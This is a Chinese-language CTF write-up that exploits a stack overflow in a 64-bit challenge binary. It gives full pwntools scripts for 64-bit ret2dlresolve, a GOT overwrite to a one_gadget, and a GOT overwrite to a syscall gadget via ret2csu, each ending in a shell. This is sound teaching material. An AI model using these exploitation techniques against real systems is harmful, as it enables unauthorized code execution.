ret2dlresolve 与 改写got表
前言
大概,大家会对我把ret2dlresolve与改写got表放在一起讲感到疑惑,其实,很多ret2dlresolve都可以用改写got表解决,甚至改写got表的限制更少,应用更加广泛。
由于32位的程序已经不太常见,故本文的题目为64位,这就涉及到了64位的ret2dlresolve,而网上绝大多数资料都只对32位下的ret2dlresolve进行了分析,且ret2dlresolve在32位与64位下的利用方式有较大区别,因此,建议不熟悉64位下ret2dlresolve利用方式的读者,在阅读本文前,先参考rapcy师傅的文章进行学习。
本文内容难度较低,主要就是水一篇博客。
附:本文相关附件下载地址
题目分析
逆向分析:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("Please say something:");
read(0, buf, 0x200uLL);
close(1);
close(2);
return 0;
}
检查保护:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
可以看到,本题在libc-2.27下运行,只开了NX保护,RELRO是Partial,且反编译出的伪代码非常简单,漏洞也很明显:一个栈溢出,并且还溢出了较多的数据,可是却用close()关闭了输出,意味着没有回显,故不能泄露信息(如libc),因此,很容易想到利用ret2dlresolve来getshell。
64位下的ret2dlresolve
说一下在上面推荐的raycp师傅的文章中好像没提到的一点:
在64位下,plt中的代码push的是待解析符号在重定位表中的索引,而不是像32位一样push的偏移,且Elf64_Rela结构体的大小为24(0x18)个字节,这就解释了下面exp中的0x18*reloc_index,其实就是计算了偏移。
其他的直接按raycp师傅文章的思路照着写即可,这里就不给出详细解释了。
exp:
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
p = process("./test")
elf = ELF("./test")
libc = ELF("./libc-2.27.so")
plt0 = elf.get_section_by_name('.plt').header.sh_addr
pop_rdi_ret = 0x401223
pop_rsi_r15_ret = 0x401221
ret = 0x4011BE
def create_fake_link_map(fake_addr, known_got, reloc_index, offset):
target = fake_addr - 8 #the result you write in (any addr)
fake_link_map = p64(offset & (2**64-1)) #l_addr
fake_link_map = fake_link_map.ljust(0x30, b'\x00')
fake_jmprel = p64(target-offset) #r_offset
fake_jmprel += p64(7) #r_info
fake_jmprel += p64(0) #r_append
fake_link_map += fake_jmprel
fake_link_map = fake_link_map.ljust(0x68, b'\x00')
fake_link_map += p64(fake_addr) #l_info[5] dynstr
fake_link_map += p64(fake_addr+0x78-8) #l_info[6] dynsym
fake_link_map += p64(known_got-8) #dynmic symtab
fake_link_map += p64(fake_addr+0x30-0x18*reloc_index) #dynmic jmprel
fake_link_map = fake_link_map.ljust(0xf8, b'\x00')
fake_link_map += p64(fake_addr+0x80-8) #l_info[23] jmprel
return fake_link_map
fake_reloc_arg = 8 #just as one wishes
fake_link_map_addr = 0x404050
fake_link_map = create_fake_link_map(fake_link_map_addr, elf.got['read'], fake_reloc_arg, libc.sym['system'] - libc.sym['read'])
bin_sh_addr = fake_link_map_addr + len(fake_link_map)
payload = b'\x00'*0x28 + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(fake_link_map_addr) + p64(0) + p64(elf.plt['read'])
payload += p64(ret) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(plt0+6) + p64(fake_link_map_addr) + p64(fake_reloc_arg)
payload = payload.ljust(0x200, b'\x00')
p.sendafter("something:\n", payload)
payload = fake_link_map + b'/bin/sh\x00'
p.send(payload)
p.interactive()
改got表为one_gadget
通过动态调试可以发现,选用0x10a45c的one_gadget是可行的,并且libc_base+0x10a45c与close的libc地址只有最后两个字节(4位)不同,而后三位又是确定的45c,故只需要爆破一位(1/16的概率),就可以将close的got表改为one_gadget,再调用close()函数,即可getshell,此外,在本题当中,改read的got表改为one_gadget也可以。
exp:
from pwn import *
context(os='linux', arch='amd64')
elf = ELF("./test")
pop_rdi_ret = 0x401223
pop_rsi_r15_ret = 0x401221
close_addr = 0x4011A9
cnt = 0
while True:
try:
p = process("./test")
cnt = cnt + 1
success("Count:\t" + str(cnt))
payload = b'\x00'*0x28
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(elf.got['close']) + p64(0)
payload += p64(elf.plt['read']) + p64(close_addr)
p.sendafter('something:\n', payload)
p.send(b'\x5c\x34')
p.sendline(b'exec 1>&0')
p.sendline(b'ls')
p.recvuntil(b'flag')
break
except:
p.close()
p.sendline(b'cat flag')
p.interactive()
改got表为syscall
可以发现,上述两种方法都需要知道libc版本,只不过第二种方法比第一种写起来简洁,但第二种方法没有第一种稳定、通用,而接下来介绍的这种方法并不太依赖于libc。
显然,除了上述方法中通过调用system("/bin/sh")和打one_gadget来getshell以外,还有一种常见方式就是通过触发syscall软中断来getshell,然而,本题的ELF源文件中并没有syscall这个gadget,并且,我们又无法泄露libc信息,用libc中的syscall,因此,我们需要想办法创造出syscall这个gadget。
其实,在libc中,read,write,close,alarm等这些函数只是对系统调用进行了简单的封装,在这些函数中都存在syscall这个gadget,且syscall一般离函数的开始地址都很近,故可以将这些函数的got表改为syscall的地址,从而触发系统调用。
我们知道,最终需要控制寄存器如下,才能成功getshell:
rax = 0x3b
rdi = bin_sh_addr
rsi = 0
rdx = 0
syscall
故,我们可以用ret2csu先改写close的got表为syscall的地址,有了syscall后,再由read读入的字节数控制rax寄存器(同时读入/bin/sh字符串),并用ret2csu控制rdi,rsi,rdx三个参数,最后调用触发syscall即可。
值得一提的是,在不同libc下,即使改同一个函数的got表为syscall地址,所修改的值也很可能不相同。但为何说本方法不太依赖于libc呢?因为我们已经知道了syscall离函数开始的地址很近,所以,即使我们不知道libc版本,也可以爆破最后一个字节(两位)来得到syscall,概率为1/256,也不算太难爆破。
exp:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("./test")
elf = ELF("./test")
gadget1_addr = 0x40121A
gadget2_addr = 0x401200
def com_gadget(addr1 , addr2 , jmp2 , arg1 , arg2 , arg3):
payload = p64(addr1) + p64(0) + p64(1) + p64(arg1) + p64(arg2) + p64(arg3) + p64(jmp2) + p64(addr2) + b'a'*56
return payload
payload = b'\x00'*0x28
payload += com_gadget(gadget1_addr, gadget2_addr, elf.got['read'], 0, elf.got['close'], 1)
payload += com_gadget(gadget1_addr, gadget2_addr, elf.got['read'], 0, 0x404050, 0x3b)
payload += com_gadget(gadget1_addr, gadget2_addr, elf.got['close'], 0x404050, 0, 0)
payload.ljust(0x200, b'\x00')
p.send(payload)
p.send(b'\xe2')
p.send(b'/bin/sh\x00' + b'\x00'*(0x3b-8))
p.interactive()
总结
主要就ret2dlresolve以及通过覆盖低位数据来构造出需要的gadget的思想来说几点吧。
对于NO RELERO,.dynamic是可修改的,只需要用read函数把其中的.dynstr的地址(STRTAB的d_ptr)修改为我们可以控制的地址,再在这个地址上伪造一个fake_dynstr,把任意字符串替换为system字符串,再调用.dl_fixup,解析我们修改的字符串所对应的原函数,而_dl_fixup最后是根据字符串也就是函数名来索引函数的,所以最后就会解析system函数了,显然,不论32位还是64位都可以这么办,写起来也非常简单。
重点是,若是开启了FULL RELERO,程序在运行之前就已经调用了ld.so将所需的外部函数加载完成,程序运行期间不再动态加载,因此,在程序的got表中,link_map和dl_runtime_resolve函数的地址都为0,很难再利用ret2dlresolve了(除非修改_dl_rtld_di_serinfo低位,有小概率能恢复出ret2dlresolve)。而此时,got表也不再可写,不过我们可以把这种思想延伸到栈上,低位覆盖栈中合适的数据也有一定几率指向syscall,从而配合ret2csu来getshell(不过实际操作起来也不那么容易)。